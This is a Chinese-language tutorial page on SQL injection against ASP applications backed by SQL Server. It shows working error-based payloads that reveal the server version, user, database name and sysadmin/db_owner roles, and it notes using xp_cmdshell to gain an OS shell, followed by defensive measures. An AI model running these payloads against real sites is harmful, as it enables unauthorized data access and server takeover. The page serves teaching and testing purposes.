首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 攻擊原理與實戰測試全解析(上)

     編輯:關於SqlServer

攻擊原理

ASP 程式以字串拼接方式構建 SQL:
strSQL = "SELECT * FROM Info_Article WHERE ID=" & Request.QueryString("ID")
若輸入 12 → 正常查詢;輸入 12' → 語法錯誤,證明存在注入點。

測試步驟

  1. article_show.asp?ID=12' → 回傳「未關閉引號」錯誤 → 確認可注入。
  2. 若錯誤被隱藏,嘗試 ID=12 AND 1=2 → 頁面內容消失/異常 → 盲注可能。
  3. 若出現 Type mismatch: 'CInt' 等強制轉型錯誤 → 參數已驗證,注入困難。

資訊收集(Union/Error Based)

目標注入 Payload錯誤訊息範例
版本ID=(SELECT @@VERSION)將 nvarchar 'Microsoft SQL Server 2000...' 轉換為 int 失敗
登入用戶ID=(USER_NAME())將 nvarchar 'webuser' 轉換為 int 失敗
資料庫名ID=(DB_NAME())將 nvarchar 'sitelog' 轉換為 int 失敗
sysadmin 角色ID=(SELECT CHAR(115)+CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR(2)))將 varchar 's1'/'s0' 轉換失敗 → 1=是, 0=否
db_owner 角色ID=(SELECT CHAR(115)+CAST(IS_MEMBER('db_owner') AS VARCHAR(2)))同理

後續利用

  • 若為 sysadmin → 可嘗試 xp_cmdshell 取得作業系統 Shell。
  • 若為 db_owner → 可建表、讀寫任意資料、備份資料庫。

防禦措施

  • 參數化查詢(Command.Parameters、sp_executesql)。
  • 最小權限原則:Web 連線帳號僅授予必要資料庫 db_datareader/db_datawriter。
  • 錯誤訊息不回傳給前端(自訂錯誤頁面)。
  • 輸入驗證(白名單、長度、型別、正則)。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved